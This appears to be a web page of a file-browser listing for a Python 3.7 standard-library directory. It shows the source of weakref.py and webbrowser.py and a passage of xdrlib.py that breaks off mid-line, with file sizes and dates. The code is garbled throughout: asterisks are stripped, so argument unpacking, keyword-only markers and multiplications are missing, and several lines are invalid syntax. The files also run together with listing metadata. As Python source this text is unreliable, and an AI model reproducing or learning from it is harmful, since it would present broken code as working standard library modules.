📄 weakref.py """Weak reference support for Python. This module is an implementation of PEP 205: http://www.python.org/dev/peps/pep-0205/ """ # Naming convention: Variables named "wr" are weak reference objects; # they are called this instead of "ref" to avoid name collisions with # the module-global ref() function imported from _weakref. from _weakref import ( getweakrefcount, getweakrefs, ref, proxy, CallableProxyType, ProxyType, ReferenceType, _remove_dead_weakref) from _weakrefset import WeakSet, _IterationGuard import _collections_abc # Import after _weakref to avoid circular import. import sys import itertools ProxyTypes = (ProxyType, CallableProxyType) __all__ = ["ref", "proxy", "getweakrefcount", "getweakrefs", "WeakKeyDictionary", "ReferenceType", "ProxyType", "CallableProxyType", "ProxyTypes", "WeakValueDictionary", "WeakSet", "WeakMethod", "finalize"] class WeakMethod(ref): """ A custom `weakref.ref` subclass which simulates a weak reference to a bound method, working around the lifetime problem of bound methods. """ __slots__ = "_func_ref", "_meth_type", "_alive", "__weakref__" def __new__(cls, meth, callback=None): try: obj = meth.__self__ func = meth.__func__ except AttributeError: raise TypeError("argument should be a bound method, not {}" .format(type(meth))) from None def _cb(arg): # The self-weakref trick is needed to avoid creating a reference # cycle. self = self_wr() if self._alive: self._alive = False if callback is not None: callback(self) self = ref.__new__(cls, obj, _cb) self._func_ref = ref(func, _cb) self._meth_type = type(meth) self._alive = True self_wr = ref(self) return self def __call__(self): obj = super().__call__() func = self._func_ref() if obj is None or func is None: return None return self._meth_type(func, obj) def __eq__(self, other): if isinstance(other, WeakMethod): if not self._alive or not other._alive: return self is other return ref.__eq__(self, other) and self._func_ref == other._func_ref return False def __ne__(self, other): if isinstance(other, WeakMethod): if not self._alive or not other._alive: return self is not other return ref.__ne__(self, other) or self._func_ref != other._func_ref return True __hash__ = ref.__hash__ class WeakValueDictionary(_collections_abc.MutableMapping): """Mapping class that references values weakly. Entries in the dictionary will be discarded when no strong reference to the value exists anymore """ # We inherit the constructor without worrying about the input # dictionary; since it uses our .update() method, we get the right # checks (if the other dictionary is a WeakValueDictionary, # objects are unwrapped on the way out, and we always wrap on the # way in). def __init__(args, kw): if not args: raise TypeError("descriptor '__init__' of 'WeakValueDictionary' " "object needs an argument") self, args = args if len(args) > 1: raise TypeError('expected at most 1 arguments, got %d' % len(args)) def remove(wr, selfref=ref(self), _atomic_removal=_remove_dead_weakref): self = selfref() if self is not None: if self._iterating: self._pending_removals.append(wr.key) else: # Atomic removal is necessary since this function # can be called asynchronously by the GC _atomic_removal(self.data, wr.key) self._remove = remove # A list of keys to be removed self._pending_removals = [] self._iterating = set() self.data = {} self.update(args, kw) def _commit_removals(self): l = self._pending_removals d = self.data # We shouldn't encounter any KeyError, because this method should # always be called before* mutating the dict. while l: key = l.pop() _remove_dead_weakref(d, key) def __getitem__(self, key): if self._pending_removals: self._commit_removals() o = self.data[key]() if o is None: raise KeyError(key) else: return o def __delitem__(self, key): if self._pending_removals: self._commit_removals() del self.data[key] def __len__(self): if self._pending_removals: self._commit_removals() return len(self.data) def __contains__(self, key): if self._pending_removals: self._commit_removals() try: o = self.data[key]() except KeyError: return False return o is not None def __repr__(self): return "<%s at %#x>" % (self.__class__.__name__, id(self)) def __setitem__(self, key, value): if self._pending_removals: self._commit_removals() self.data[key] = KeyedRef(value, self._remove, key) def copy(self): if self._pending_removals: self._commit_removals() new = WeakValueDictionary() with _IterationGuard(self): for key, wr in self.data.items(): o = wr() if o is not None: new[key] = o return new __copy__ = copy def __deepcopy__(self, memo): from copy import deepcopy if self._pending_removals: self._commit_removals() new = self.__class__() with _IterationGuard(self): for key, wr in self.data.items(): o = wr() if o is not None: new[deepcopy(key, memo)] = o return new def get(self, key, default=None): if self._pending_removals: self._commit_removals() try: wr = self.data[key] except KeyError: return default else: o = wr() if o is None: # This should only happen return default else: return o def items(self): if self._pending_removals: self._commit_removals() with _IterationGuard(self): for k, wr in self.data.items(): v = wr() if v is not None: yield k, v def keys(self): if self._pending_removals: self._commit_removals() with _IterationGuard(self): for k, wr in self.data.items(): if wr() is not None: yield k __iter__ = keys def itervaluerefs(self): """Return an iterator that yields the weak references to the values. The references are not guaranteed to be 'live' at the time they are used, so the result of calling the references needs to be checked before being used. This can be used to avoid creating references that will cause the garbage collector to keep the values around longer than needed. """ if self._pending_removals: self._commit_removals() with _IterationGuard(self): yield from self.data.values() def values(self): if self._pending_removals: self._commit_removals() with _IterationGuard(self): for wr in self.data.values(): obj = wr() if obj is not None: yield obj def popitem(self): if self._pending_removals: self._commit_removals() while True: key, wr = self.data.popitem() o = wr() if o is not None: return key, o def pop(self, key, args): if self._pending_removals: self._commit_removals() try: o = self.data.pop(key)() except KeyError: o = None if o is None: if args: return args[0] else: raise KeyError(key) else: return o def setdefault(self, key, default=None): try: o = self.data[key]() except KeyError: o = None if o is None: if self._pending_removals: self._commit_removals() self.data[key] = KeyedRef(default, self._remove, key) return default else: return o def update(args, *kwargs): if not args: raise TypeError("descriptor 'update' of 'WeakValueDictionary' " "object needs an argument") self, args = args if len(args) > 1: raise TypeError('expected at most 1 arguments, got %d' % len(args)) dict = args[0] if args else None if self._pending_removals: self._commit_removals() d = self.data if dict is not None: if not hasattr(dict, "items"): dict = type({})(dict) for key, o in dict.items(): d[key] = KeyedRef(o, self._remove, key) if len(kwargs): self.update(kwargs) def valuerefs(self): """Return a list of weak references to the values. The references are not guaranteed to be 'live' at the time they are used, so the result of calling the references needs to be checked before being used. This can be used to avoid creating references that will cause the garbage collector to keep the values around longer than needed. """ if self._pending_removals: self._commit_removals() return list(self.data.values()) class KeyedRef(ref): """Specialized reference that includes a key corresponding to the value. This is used in the WeakValueDictionary to avoid having to create a function object for each key stored in the mapping. A shared callback object can use the 'key' attribute of a KeyedRef instead of getting a reference to the key from an enclosing scope. """ __slots__ = "key", def __new__(type, ob, callback, key): self = ref.__new__(type, ob, callback) self.key = key return self def __init__(self, ob, callback, key): super().__init__(ob, callback) class WeakKeyDictionary(_collections_abc.MutableMapping): """ Mapping class that references keys weakly. Entries in the dictionary will be discarded when there is no longer a strong reference to the key. This can be used to associate additional data with an object owned by other parts of an application without adding attributes to those objects. This can be especially useful with objects that override attribute accesses. """ def __init__(self, dict=None): self.data = {} def remove(k, selfref=ref(self)): self = selfref() if self is not None: if self._iterating: self._pending_removals.append(k) else: del self.data[k] self._remove = remove # A list of dead weakrefs (keys to be removed) self._pending_removals = [] self._iterating = set() self._dirty_len = False if dict is not None: self.update(dict) def _commit_removals(self): # NOTE: We don't need to call this method before mutating the dict, # because a dead weakref never compares equal to a live weakref, # even if they happened to refer to equal objects. # However, it means keys may already have been removed. l = self._pending_removals d = self.data while l: try: del d[l.pop()] except KeyError: pass def _scrub_removals(self): d = self.data self._pending_removals = [k for k in self._pending_removals if k in d] self._dirty_len = False def __delitem__(self, key): self._dirty_len = True del self.data[ref(key)] def __getitem__(self, key): return self.data[ref(key)] def __len__(self): if self._dirty_len and self._pending_removals: # self._pending_removals may still contain keys which were # explicitly removed, we have to scrub them (see issue #21173). self._scrub_removals() return len(self.data) - len(self._pending_removals) def __repr__(self): return "<%s at %#x>" % (self.__class__.__name__, id(self)) def __setitem__(self, key, value): self.data[ref(key, self._remove)] = value def copy(self): new = WeakKeyDictionary() with _IterationGuard(self): for key, value in self.data.items(): o = key() if o is not None: new[o] = value return new __copy__ = copy def __deepcopy__(self, memo): from copy import deepcopy new = self.__class__() with _IterationGuard(self): for key, value in self.data.items(): o = key() if o is not None: new[o] = deepcopy(value, memo) return new def get(self, key, default=None): return self.data.get(ref(key),default) def __contains__(self, key): try: wr = ref(key) except TypeError: return False return wr in self.data def items(self): with _IterationGuard(self): for wr, value in self.data.items(): key = wr() if key is not None: yield key, value def keys(self): with _IterationGuard(self): for wr in self.data: obj = wr() if obj is not None: yield obj __iter__ = keys def values(self): with _IterationGuard(self): for wr, value in self.data.items(): if wr() is not None: yield value def keyrefs(self): """Return a list of weak references to the keys. The references are not guaranteed to be 'live' at the time they are used, so the result of calling the references needs to be checked before being used. This can be used to avoid creating references that will cause the garbage collector to keep the keys around longer than needed. """ return list(self.data) def popitem(self): self._dirty_len = True while True: key, value = self.data.popitem() o = key() if o is not None: return o, value def pop(self, key, args): self._dirty_len = True return self.data.pop(ref(key), args) def setdefault(self, key, default=None): return self.data.setdefault(ref(key, self._remove),default) def update(self, dict=None, *kwargs): d = self.data if dict is not None: if not hasattr(dict, "items"): dict = type({})(dict) for key, value in dict.items(): d[ref(key, self._remove)] = value if len(kwargs): self.update(kwargs) class finalize: """Class for finalization of weakrefable objects finalize(obj, func, args, *kwargs) returns a callable finalizer object which will be called when obj is garbage collected. The first time the finalizer is called it evaluates func(arg, *kwargs) and returns the result. After this the finalizer is dead, and calling it just returns None. When the program exits any remaining finalizers for which the atexit attribute is true will be run in reverse order of creation. By default atexit is true. """ # Finalizer objects don't have any state of their own. They are # just used as keys to lookup _Info objects in the registry. This # ensures that they cannot be part of a ref-cycle. __slots__ = () _registry = {} _shutdown = False _index_iter = itertools.count() _dirty = False _registered_with_atexit = False class _Info: __slots__ = ("weakref", "func", "args", "kwargs", "atexit", "index") def __init__(args, *kwargs): if len(args) >= 3: self, obj, func, args = args elif not args: raise TypeError("descriptor '__init__' of 'finalize' object " "needs an argument") else: if 'func' not in kwargs: raise TypeError('finalize expected at least 2 positional ' 'arguments, got %d' % (len(args)-1)) func = kwargs.pop('func') if len(args) >= 2: self, obj, args = args else: if 'obj' not in kwargs: raise TypeError('finalize expected at least 2 positional ' 'arguments, got %d' % (len(args)-1)) obj = kwargs.pop('obj') self, args = args args = tuple(args) if not self._registered_with_atexit: # We may register the exit function more than once because # of a thread race, but that is harmless import atexit atexit.register(self._exitfunc) finalize._registered_with_atexit = True info = self._Info() info.weakref = ref(obj, self) info.func = func info.args = args info.kwargs = kwargs or None info.atexit = True info.index = next(self._index_iter) self._registry[self] = info finalize._dirty = True def __call__(self, _=None): """If alive then mark as dead and return func(args, kwargs); otherwise return None""" info = self._registry.pop(self, None) if info and not self._shutdown: return info.func(info.args, *(info.kwargs or {})) def detach(self): """If alive then mark as dead and return (obj, func, args, kwargs); otherwise return None""" info = self._registry.get(self) obj = info and info.weakref() if obj is not None and self._registry.pop(self, None): return (obj, info.func, info.args, info.kwargs or {}) def peek(self): """If alive then return (obj, func, args, kwargs); otherwise return None""" info = self._registry.get(self) obj = info and info.weakref() if obj is not None: return (obj, info.func, info.args, info.kwargs or {}) @property def alive(self): """Whether finalizer is alive""" return self in self._registry @property def atexit(self): """Whether finalizer should be called at exit""" info = self._registry.get(self) return bool(info) and info.atexit @atexit.setter def atexit(self, value): info = self._registry.get(self) if info: info.atexit = bool(value) def __repr__(self): info = self._registry.get(self) obj = info and info.weakref() if obj is None: return '<%s object at %#x; dead>' % (type(self).__name__, id(self)) else: return '<%s object at %#x; for %r at %#x>' % \ (type(self).__name__, id(self), type(obj).__name__, id(obj)) @classmethod def _select_for_exit(cls): # Return live finalizers marked for exit, oldest first L = [(f,i) for (f,i) in cls._registry.items() if i.atexit] L.sort(key=lambda item:item[1].index) return [f for (f,i) in L] @classmethod def _exitfunc(cls): # At shutdown invoke finalizers for which atexit is true. # This is called once all other non-daemonic threads have been # joined. reenable_gc = False try: if cls._registry: import gc if gc.isenabled(): reenable_gc = True gc.disable() pending = None while True: if pending is None or finalize._dirty: pending = cls._select_for_exit() finalize._dirty = False if not pending: break f = pending.pop() try: # gc is disabled, so (assuming no daemonic # threads) the following is the only line in # this function which might trigger creation # of a new finalizer f() except Exception: sys.excepthook(sys.exc_info()) assert f not in cls._registry finally: # prevent any more finalizers from executing during shutdown finalize._shutdown = True if reenable_gc: gc.enable()	21 KB	2024-04-17 17:55
📄 webbrowser.py #! /opt/alt/python37/bin/python3.7 """Interfaces for launching and remotely controlling Web browsers.""" # Maintained by Georg Brandl. import os import shlex import shutil import sys import subprocess import threading __all__ = ["Error", "open", "open_new", "open_new_tab", "get", "register"] class Error(Exception): pass _lock = threading.RLock() _browsers = {} # Dictionary of available browser controllers _tryorder = None # Preference order of available browsers _os_preferred_browser = None # The preferred browser def register(name, klass, instance=None, , preferred=False): """Register a browser connector.""" with _lock: if _tryorder is None: register_standard_browsers() _browsers[name.lower()] = [klass, instance] # Preferred browsers go to the front of the list. # Need to match to the default browser returned by xdg-settings, which # may be of the form e.g. "firefox.desktop". if preferred or (_os_preferred_browser and name in _os_preferred_browser): _tryorder.insert(0, name) else: _tryorder.append(name) def get(using=None): """Return a browser launcher instance appropriate for the environment.""" if _tryorder is None: with _lock: if _tryorder is None: register_standard_browsers() if using is not None: alternatives = [using] else: alternatives = _tryorder for browser in alternatives: if '%s' in browser: # User gave us a command line, split it into name and args browser = shlex.split(browser) if browser[-1] == '&': return BackgroundBrowser(browser[:-1]) else: return GenericBrowser(browser) else: # User gave us a browser name or path. try: command = _browsers[browser.lower()] except KeyError: command = _synthesize(browser) if command[1] is not None: return command[1] elif command[0] is not None: return command[0]() raise Error("could not locate runnable browser") # Please note: the following definition hides a builtin function. # It is recommended one does "import webbrowser" and uses webbrowser.open(url) # instead of "from webbrowser import ". def open(url, new=0, autoraise=True): """Display url using the default browser. If possible, open url in a location determined by new. - 0: the same browser window (the default). - 1: a new browser window. - 2: a new browser page ("tab"). If possible, autoraise raises the window (the default) or not. """ if _tryorder is None: with _lock: if _tryorder is None: register_standard_browsers() for name in _tryorder: browser = get(name) if browser.open(url, new, autoraise): return True return False def open_new(url): """Open url in a new window of the default browser. If not possible, then open url in the only browser window. """ return open(url, 1) def open_new_tab(url): """Open url in a new page ("tab") of the default browser. If not possible, then the behavior becomes equivalent to open_new(). """ return open(url, 2) def _synthesize(browser, , preferred=False): """Attempt to synthesize a controller based on existing controllers. This is useful to create a controller when a user specifies a path to an entry in the BROWSER environment variable -- we can copy a general controller to operate using a specific installation of the desired browser in this way. If we can't create a controller in this way, or if there is no executable for the requested browser, return [None, None]. """ cmd = browser.split()[0] if not shutil.which(cmd): return [None, None] name = os.path.basename(cmd) try: command = _browsers[name.lower()] except KeyError: return [None, None] # now attempt to clone to fit the new name: controller = command[1] if controller and name.lower() == controller.basename: import copy controller = copy.copy(controller) controller.name = browser controller.basename = os.path.basename(browser) register(browser, None, instance=controller, preferred=preferred) return [None, controller] return [None, None] # General parent classes class BaseBrowser(object): """Parent class for all browsers. Do not use directly.""" args = ['%s'] def __init__(self, name=""): self.name = name self.basename = name def open(self, url, new=0, autoraise=True): raise NotImplementedError def open_new(self, url): return self.open(url, 1) def open_new_tab(self, url): return self.open(url, 2) class GenericBrowser(BaseBrowser): """Class for all browsers started with a command and without remote functionality.""" def __init__(self, name): if isinstance(name, str): self.name = name self.args = ["%s"] else: # name should be a list with arguments self.name = name[0] self.args = name[1:] self.basename = os.path.basename(self.name) def open(self, url, new=0, autoraise=True): cmdline = [self.name] + [arg.replace("%s", url) for arg in self.args] try: if sys.platform[:3] == 'win': p = subprocess.Popen(cmdline) else: p = subprocess.Popen(cmdline, close_fds=True) return not p.wait() except OSError: return False class BackgroundBrowser(GenericBrowser): """Class for all browsers which are to be started in the background.""" def open(self, url, new=0, autoraise=True): cmdline = [self.name] + [arg.replace("%s", url) for arg in self.args] try: if sys.platform[:3] == 'win': p = subprocess.Popen(cmdline) else: p = subprocess.Popen(cmdline, close_fds=True, start_new_session=True) return (p.poll() is None) except OSError: return False class UnixBrowser(BaseBrowser): """Parent class for all Unix browsers with remote functionality.""" raise_opts = None background = False redirect_stdout = True # In remote_args, %s will be replaced with the requested URL. %action will # be replaced depending on the value of 'new' passed to open. # remote_action is used for new=0 (open). If newwin is not None, it is # used for new=1 (open_new). If newtab is not None, it is used for # new=3 (open_new_tab). After both substitutions are made, any empty # strings in the transformed remote_args list will be removed. remote_args = ['%action', '%s'] remote_action = None remote_action_newwin = None remote_action_newtab = None def _invoke(self, args, remote, autoraise): raise_opt = [] if remote and self.raise_opts: # use autoraise argument only for remote invocation autoraise = int(autoraise) opt = self.raise_opts[autoraise] if opt: raise_opt = [opt] cmdline = [self.name] + raise_opt + args if remote or self.background: inout = subprocess.DEVNULL else: # for TTY browsers, we need stdin/out inout = None p = subprocess.Popen(cmdline, close_fds=True, stdin=inout, stdout=(self.redirect_stdout and inout or None), stderr=inout, start_new_session=True) if remote: # wait at most five seconds. If the subprocess is not finished, the # remote invocation has (hopefully) started a new instance. try: rc = p.wait(5) # if remote call failed, open() will try direct invocation return not rc except subprocess.TimeoutExpired: return True elif self.background: if p.poll() is None: return True else: return False else: return not p.wait() def open(self, url, new=0, autoraise=True): if new == 0: action = self.remote_action elif new == 1: action = self.remote_action_newwin elif new == 2: if self.remote_action_newtab is None: action = self.remote_action_newwin else: action = self.remote_action_newtab else: raise Error("Bad 'new' parameter to open(); " + "expected 0, 1, or 2, got %s" % new) args = [arg.replace("%s", url).replace("%action", action) for arg in self.remote_args] args = [arg for arg in args if arg] success = self._invoke(args, True, autoraise) if not success: # remote invocation failed, try straight way args = [arg.replace("%s", url) for arg in self.args] return self._invoke(args, False, False) else: return True class Mozilla(UnixBrowser): """Launcher class for Mozilla browsers.""" remote_args = ['%action', '%s'] remote_action = "" remote_action_newwin = "-new-window" remote_action_newtab = "-new-tab" background = True class Netscape(UnixBrowser): """Launcher class for Netscape browser.""" raise_opts = ["-noraise", "-raise"] remote_args = ['-remote', 'openURL(%s%action)'] remote_action = "" remote_action_newwin = ",new-window" remote_action_newtab = ",new-tab" background = True class Galeon(UnixBrowser): """Launcher class for Galeon/Epiphany browsers.""" raise_opts = ["-noraise", ""] remote_args = ['%action', '%s'] remote_action = "-n" remote_action_newwin = "-w" background = True class Chrome(UnixBrowser): "Launcher class for Google Chrome browser." remote_args = ['%action', '%s'] remote_action = "" remote_action_newwin = "--new-window" remote_action_newtab = "" background = True Chromium = Chrome class Opera(UnixBrowser): "Launcher class for Opera browser." remote_args = ['%action', '%s'] remote_action = "" remote_action_newwin = "--new-window" remote_action_newtab = "" background = True class Elinks(UnixBrowser): "Launcher class for Elinks browsers." remote_args = ['-remote', 'openURL(%s%action)'] remote_action = "" remote_action_newwin = ",new-window" remote_action_newtab = ",new-tab" background = False # elinks doesn't like its stdout to be redirected - # it uses redirected stdout as a signal to do -dump redirect_stdout = False class Konqueror(BaseBrowser): """Controller for the KDE File Manager (kfm, or Konqueror). See the output of ``kfmclient --commands`` for more information on the Konqueror remote-control interface. """ def open(self, url, new=0, autoraise=True): # XXX Currently I know no way to prevent KFM from opening a new win. if new == 2: action = "newTab" else: action = "openURL" devnull = subprocess.DEVNULL try: p = subprocess.Popen(["kfmclient", action, url], close_fds=True, stdin=devnull, stdout=devnull, stderr=devnull) except OSError: # fall through to next variant pass else: p.wait() # kfmclient's return code unfortunately has no meaning as it seems return True try: p = subprocess.Popen(["konqueror", "--silent", url], close_fds=True, stdin=devnull, stdout=devnull, stderr=devnull, start_new_session=True) except OSError: # fall through to next variant pass else: if p.poll() is None: # Should be running now. return True try: p = subprocess.Popen(["kfm", "-d", url], close_fds=True, stdin=devnull, stdout=devnull, stderr=devnull, start_new_session=True) except OSError: return False else: return (p.poll() is None) class Grail(BaseBrowser): # There should be a way to maintain a connection to Grail, but the # Grail remote control protocol doesn't really allow that at this # point. It probably never will! def _find_grail_rc(self): import glob import pwd import socket import tempfile tempdir = os.path.join(tempfile.gettempdir(), ".grail-unix") user = pwd.getpwuid(os.getuid())[0] filename = os.path.join(tempdir, user + "-") maybes = glob.glob(filename) if not maybes: return None s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) for fn in maybes: # need to PING each one until we find one that's live try: s.connect(fn) except OSError: # no good; attempt to clean it out, but don't fail: try: os.unlink(fn) except OSError: pass else: return s def _remote(self, action): s = self._find_grail_rc() if not s: return 0 s.send(action) s.close() return 1 def open(self, url, new=0, autoraise=True): if new: ok = self._remote("LOADNEW " + url) else: ok = self._remote("LOAD " + url) return ok # # Platform support for Unix # # These are the right tests because all these Unix browsers require either # a console terminal or an X display to run. def register_X_browsers(): # use xdg-open if around if shutil.which("xdg-open"): register("xdg-open", None, BackgroundBrowser("xdg-open")) # The default GNOME3 browser if "GNOME_DESKTOP_SESSION_ID" in os.environ and shutil.which("gvfs-open"): register("gvfs-open", None, BackgroundBrowser("gvfs-open")) # The default GNOME browser if "GNOME_DESKTOP_SESSION_ID" in os.environ and shutil.which("gnome-open"): register("gnome-open", None, BackgroundBrowser("gnome-open")) # The default KDE browser if "KDE_FULL_SESSION" in os.environ and shutil.which("kfmclient"): register("kfmclient", Konqueror, Konqueror("kfmclient")) if shutil.which("x-www-browser"): register("x-www-browser", None, BackgroundBrowser("x-www-browser")) # The Mozilla browsers for browser in ("firefox", "iceweasel", "iceape", "seamonkey"): if shutil.which(browser): register(browser, None, Mozilla(browser)) # The Netscape and old Mozilla browsers for browser in ("mozilla-firefox", "mozilla-firebird", "firebird", "mozilla", "netscape"): if shutil.which(browser): register(browser, None, Netscape(browser)) # Konqueror/kfm, the KDE browser. if shutil.which("kfm"): register("kfm", Konqueror, Konqueror("kfm")) elif shutil.which("konqueror"): register("konqueror", Konqueror, Konqueror("konqueror")) # Gnome's Galeon and Epiphany for browser in ("galeon", "epiphany"): if shutil.which(browser): register(browser, None, Galeon(browser)) # Skipstone, another Gtk/Mozilla based browser if shutil.which("skipstone"): register("skipstone", None, BackgroundBrowser("skipstone")) # Google Chrome/Chromium browsers for browser in ("google-chrome", "chrome", "chromium", "chromium-browser"): if shutil.which(browser): register(browser, None, Chrome(browser)) # Opera, quite popular if shutil.which("opera"): register("opera", None, Opera("opera")) # Next, Mosaic -- old but still in use. if shutil.which("mosaic"): register("mosaic", None, BackgroundBrowser("mosaic")) # Grail, the Python browser. Does anybody still use it? if shutil.which("grail"): register("grail", Grail, None) def register_standard_browsers(): global _tryorder _tryorder = [] if sys.platform == 'darwin': register("MacOSX", None, MacOSXOSAScript('default')) register("chrome", None, MacOSXOSAScript('chrome')) register("firefox", None, MacOSXOSAScript('firefox')) register("safari", None, MacOSXOSAScript('safari')) # OS X can use below Unix support (but we prefer using the OS X # specific stuff) if sys.platform[:3] == "win": # First try to use the default Windows browser register("windows-default", WindowsDefault) # Detect some common Windows browsers, fallback to IE iexplore = os.path.join(os.environ.get("PROGRAMFILES", "C:\\Program Files"), "Internet Explorer\\IEXPLORE.EXE") for browser in ("firefox", "firebird", "seamonkey", "mozilla", "netscape", "opera", iexplore): if shutil.which(browser): register(browser, None, BackgroundBrowser(browser)) else: # Prefer X browsers if present if os.environ.get("DISPLAY") or os.environ.get("WAYLAND_DISPLAY"): try: cmd = "xdg-settings get default-web-browser".split() raw_result = subprocess.check_output(cmd, stderr=subprocess.DEVNULL) result = raw_result.decode().strip() except (FileNotFoundError, subprocess.CalledProcessError): pass else: global _os_preferred_browser _os_preferred_browser = result register_X_browsers() # Also try console browsers if os.environ.get("TERM"): if shutil.which("www-browser"): register("www-browser", None, GenericBrowser("www-browser")) # The Links/elinks browsers <http://artax.karlin.mff.cuni.cz/~mikulas/links/> if shutil.which("links"): register("links", None, GenericBrowser("links")) if shutil.which("elinks"): register("elinks", None, Elinks("elinks")) # The Lynx browser <http://lynx.isc.org/>, <http://lynx.browser.org/> if shutil.which("lynx"): register("lynx", None, GenericBrowser("lynx")) # The w3m browser <http://w3m.sourceforge.net/> if shutil.which("w3m"): register("w3m", None, GenericBrowser("w3m")) # OK, now that we know what the default preference orders for each # platform are, allow user to override them with the BROWSER variable. if "BROWSER" in os.environ: userchoices = os.environ["BROWSER"].split(os.pathsep) userchoices.reverse() # Treat choices in same way as if passed into get() but do register # and prepend to _tryorder for cmdline in userchoices: if cmdline != '': cmd = _synthesize(cmdline, preferred=True) if cmd[1] is None: register(cmdline, None, GenericBrowser(cmdline), preferred=True) # what to do if _tryorder is now empty? # # Platform support for Windows # if sys.platform[:3] == "win": class WindowsDefault(BaseBrowser): def open(self, url, new=0, autoraise=True): try: os.startfile(url) except OSError: # [Error 22] No application is associated with the specified # file for this operation: '<URL>' return False else: return True # # Platform support for MacOS # if sys.platform == 'darwin': # Adapted from patch submitted to SourceForge by Steven J. Burr class MacOSX(BaseBrowser): """Launcher class for Aqua browsers on Mac OS X Optionally specify a browser name on instantiation. Note that this will not work for Aqua browsers if the user has moved the application package after installation. If no browser is specified, the default browser, as specified in the Internet System Preferences panel, will be used. """ def __init__(self, name): self.name = name def open(self, url, new=0, autoraise=True): assert "'" not in url # hack for local urls if not ':' in url: url = 'file:'+url # new must be 0 or 1 new = int(bool(new)) if self.name == "default": # User called open, open_new or get without a browser parameter script = 'open location "%s"' % url.replace('"', '%22') # opens in default browser else: # User called get and chose a browser if self.name == "OmniWeb": toWindow = "" else: # Include toWindow parameter of OpenURL command for browsers # that support it. 0 == new window; -1 == existing toWindow = "toWindow %d" % (new - 1) cmd = 'OpenURL "%s"' % url.replace('"', '%22') script = '''tell application "%s" activate %s %s end tell''' % (self.name, cmd, toWindow) # Open pipe to AppleScript through osascript command osapipe = os.popen("osascript", "w") if osapipe is None: return False # Write script to osascript's stdin osapipe.write(script) rc = osapipe.close() return not rc class MacOSXOSAScript(BaseBrowser): def __init__(self, name): self._name = name def open(self, url, new=0, autoraise=True): if self._name == 'default': script = 'open location "%s"' % url.replace('"', '%22') # opens in default browser else: script = ''' tell application "%s" activate open location "%s" end '''%(self._name, url.replace('"', '%22')) osapipe = os.popen("osascript", "w") if osapipe is None: return False osapipe.write(script) rc = osapipe.close() return not rc def main(): import getopt usage = """Usage: %s [-n \| -t] url -n: open new window -t: open new tab""" % sys.argv[0] try: opts, args = getopt.getopt(sys.argv[1:], 'ntd') except getopt.error as msg: print(msg, file=sys.stderr) print(usage, file=sys.stderr) sys.exit(1) new_win = 0 for o, a in opts: if o == '-n': new_win = 1 elif o == '-t': new_win = 2 if len(args) != 1: print(usage, file=sys.stderr) sys.exit(1) url = args[0] open(url, new_win) print("\a") if __name__ == "__main__": main()	23.16 KB	2024-04-17 17:55
📁 wsgiref	-	2025-10-13 08:00
📄 xdrlib.py """Implements (a subset of) Sun XDR -- eXternal Data Representation. See: RFC 1014 """ import struct from io import BytesIO from functools import wraps __all__ = ["Error", "Packer", "Unpacker", "ConversionError"] # exceptions class Error(Exception): """Exception class for this module. Use: except xdrlib.Error as var: # var has the Error instance for the exception Public ivars: msg -- contains the message """ def __init__(self, msg): self.msg = msg def __repr__(self): return repr(self.msg) def __str__(self): return str(self.msg) class ConversionError(Error): pass def raise_conversion_error(function): """ Wrap any raised struct.errors in a ConversionError. """ @wraps(function) def result(self, value): try: return function(self, value) except struct.error as e: raise ConversionError(e.args[0]) from None return result class Packer: """Pack various data representations into a buffer.""" def __init__(self): self.reset() def reset(self): self.__buf = BytesIO() def get_buffer(self): return self.__buf.getvalue() # backwards compatibility get_buf = get_buffer @raise_conversion_error def pack_uint(self, x): self.__buf.write(struct.pack('>L', x)) @raise_conversion_error def pack_int(self, x): self.__buf.write(struct.pack('>l', x)) pack_enum = pack_int def pack_bool(self, x): if x: self.__buf.write(b'\0\0\0\1') else: self.__buf.write(b'\0\0\0\0') def pack_uhyper(self, x): try: self.pack_uint(x>>32 & 0xffffffff) except (TypeError, struct.error) as e: raise ConversionError(e.args[0]) from None try: self.pack_uint(x & 0xffffffff) except (TypeError, struct.error) as e: raise ConversionError(e.args[0]) from None pack_hyper = pack_uhyper @raise_conversion_error def pack_float(self, x): self.__buf.write(struct.pack('>f', x)) @raise_conversion_error def pack_double(self, x): self.__buf.write(struct.pack('>d', x)) def pack_fstring(self, n, s): if n < 0: raise ValueError('fstring size must be nonnegative') data = s[:n] n = ((n+3)//4)4 data = data + (n - len(data)) b'\0' self.__buf.write(data) pack_fopaque = pack_fstring def pack_string(self, s): n = len(s) self.pack_uint(n) self.pack_fstring(n, s) pack_opaque = pack_string pack_bytes = pack_string def pack_list(self, list, pack_item): for item in list: self.pack_uint(1) pack_item(item) self.pack_uint(0) def pack_farray(self, n, list, pack_item): if len(list) != n: raise ValueError('wrong array size') for item in list: pack_item(item) def pack_array(self, list, pack_item): n = len(list) self.pack_uint(n) self.pack_farray(n, list, pack_item) class Unpacker: """Unpacks various data representations from the given buffer.""" def __init__(self, data): self.reset(data) def reset(self, data): self.__buf = data self.__pos = 0 def get_position(self): return self.__pos def set_position(self, position): self.__pos = position def get_buffer(self): return self.__buf def done(self): if self.__pos < len(self.__buf): raise Error('unextracted data remains') def unpack_uint(self): i = self.__pos self.__pos = j = i+4 data = self.__buf[i:j] if len(data) < 4: raise EOFError return struct.unpack('>L', data)[0] def unpack_int(self): i = self.__pos self.__pos = j = i+4 data = self.__buf[i:j] if len(data) < 4: raise EOFError return struct.unpack('>l', data)[0] unpack_enum = unpack_int def unpack_bool(self): return bool(self.unpack_int()) def unpack_uhyper(self): hi = self.unpack_uint() lo = self.unpack_uint() return int(hi)<<32 \| lo def unpack_hyper(self): x = self.unpack_uhyper() if x >= 0x8000000000000000: x = x - 0x10000000000000000 return x def unpack_float(self): i = self.__pos self.__pos = j = i+4 data = self.__buf[i:j] if len(data) < 4: raise EOFError return struct.unpack('>f', data)[0] def unpack_double(self): i = self.__pos self.__pos = j = i+8 data = self.__buf[i:j] if len(data) < 8: raise EOFError return struct.unpack('>d', data)[0] def unpack_fstring(self, n): if n < 0: raise ValueError('fstring size must be nonnegative') i = self.__pos j = i + (n+3)//4*4 if j > len(self.__buf): raise EOFError self.__pos = j return self.__buf[i:i+n] unpack_fopaque = unpack_fstring def unpack_string(self): n = self.unpack_uint() return self.unpack_fstring(n) unpack_opaque = unpack_string unpack_bytes = unpack_string def unpack_list(self, unpack_item): list = [] while 1: x = self.unpack_uint() if x == 0: break if x != 1: raise ConversionError('0 or 1 expected, got %r' % (x,)) item = unpack_item() list.append(item) return list def unpack_farray(self, n, unpack_item): list = [] for i in range(n): list.append(unpack_item()) return list def unpack_array(self, unpack_item): n = 